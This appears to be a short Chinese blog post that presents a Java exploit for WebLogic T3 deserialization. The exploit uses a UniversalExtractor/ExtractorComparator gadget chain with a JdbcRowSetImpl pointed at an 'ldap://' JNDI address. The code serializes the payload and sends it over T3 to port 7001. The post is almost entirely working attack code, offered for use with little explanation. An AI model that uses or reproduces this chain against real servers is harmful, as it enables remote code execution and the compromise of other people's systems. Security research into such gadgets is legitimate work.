weblogic T3反序列化[UniversalExtractor]JNDI注入(附Exp)
public class Exp {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl1 = new JdbcRowSetImpl();
Class clazz = JdbcRowSetImpl.class.getSuperclass();
Field setDataSource = clazz.getDeclaredField("dataSource");
setDataSource.setAccessible(true);
setDataSource.set(JdbcRowSetImpl1,"ldap://xxxxx");
UniversalExtractor UniversalExtractor1 = new UniversalExtractor("isEmpty()",new Object[]{});
Field setname = UniversalExtractor1.getClass().getDeclaredField("m_sName");
setname.setAccessible(true);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(UniversalExtractor1));
queue.add("1");
queue.add("1");
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = JdbcRowSetImpl1;
queueArray[1] = "1";
setname.set(UniversalExtractor1,"DatabaseMetaData");
// serialize
byte[] payload = Serializables.serialize(queue);
// T3 send, you can also use python weblogic_t3.py test.ser
T3ProtocolOperation.send("127.0.0.1", "7001", payload);
// test
serialize(queue);
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!